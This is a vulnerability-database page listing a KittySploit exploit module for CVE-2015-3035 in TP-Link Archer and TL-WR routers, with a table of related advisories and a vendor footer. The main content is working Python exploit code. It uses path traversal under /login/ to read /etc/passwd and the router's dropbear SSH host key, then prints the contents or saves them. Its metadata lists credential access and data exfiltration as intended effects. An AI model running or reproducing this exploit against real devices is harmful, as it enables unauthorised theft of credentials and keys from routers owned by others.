Lucene search
+L

TP-Link Router LFI (CVE-2015-3035)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 14 Views

Local file inclusion in TP-Link Archer/TL-WR routers via path traversal reads local files.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2015-3035
22 Apr 201500:00
–attackerkb
bdu_fstec
BDU FSTEC
TP-Link Archer C5 C7 C8 C9 TL-WR740N TL-WR741ND TL-
6 Mar 202300:00
–bdu_fstec
circl
Circl
CVE-2015-3035
5 Jun 202316:20
–circl
cisa_kev
CISA KEV Catalog
TP-Link Multiple Archer Devices Directory Traversal Vulnerability
25 Mar 202200:00
–cisa_kev
cnvd
CNVD
Multiple TP-LINK Product Catalog Traversal Vulnerability
14 Apr 201500:00
–cnvd
cve
CVE
CVE-2015-3035
17 Apr 201518:00
–cve
cvelist
Cvelist
CVE-2015-3035
17 Apr 201518:00
–cvelist
kittysploit
KittySploit
TP-LINK - Local File Inclusion Detection
28 Jul 202611:27
–kittysploit
metasploit
Metasploit
Archer C7 Directory Traversal Vulnerability
8 Apr 201500:00
–metasploit
metasploit
Metasploit
Archer C7 Directory Traversal Vulnerability
1 Jun 202319:50
–metasploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TP-Link Archer local file inclusion (CVE-2015-3035)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TP-Link Router LFI (CVE-2015-3035)',
        'description': (
            'Exploits CVE-2015-3035 in TP-Link Archer/TL-WR routers: path traversal via '
            '/login/../../../ reads arbitrary local files including password stores.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2015-3035'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2015-3035'],
        'tags': ['tplink', 'tp-link', 'router', 'lfi', 'kev', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2015_3035_detect']},
        },
    }

    file_path = OptString('/etc/passwd', 'Remote file to read', required=True)
    output_file = OptString('', 'Local output file', required=False)

    def _path(self, remote: str) -> str:
        depth = '../' * 8
        target = remote.lstrip('/')
        return f'/login/{depth}{target}'

    def execute(self, remote_path: str) -> str:
        r = self.http_request(method='GET', path=self._path(remote_path), allow_redirects=False)
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:[x*]:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'TP-Link traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'TP-Link LFI failed', 'confidence': 'medium'}

    def run(self):
        body = ''
        for target in (
            str(self.file_path or '/etc/passwd'),
            'tmp/dropbear/dropbear_rsa_host_key',
        ):
            body = self.execute(target)
            if body:
                print_success(f'{target} — {len(body)} bytes')
                print_status(body[:3000])
        out = str(self.output_file or '').strip()
        if out and body:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
        return bool(body)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.5
CVSS 27.8
EPSS0.83948
SSVC
14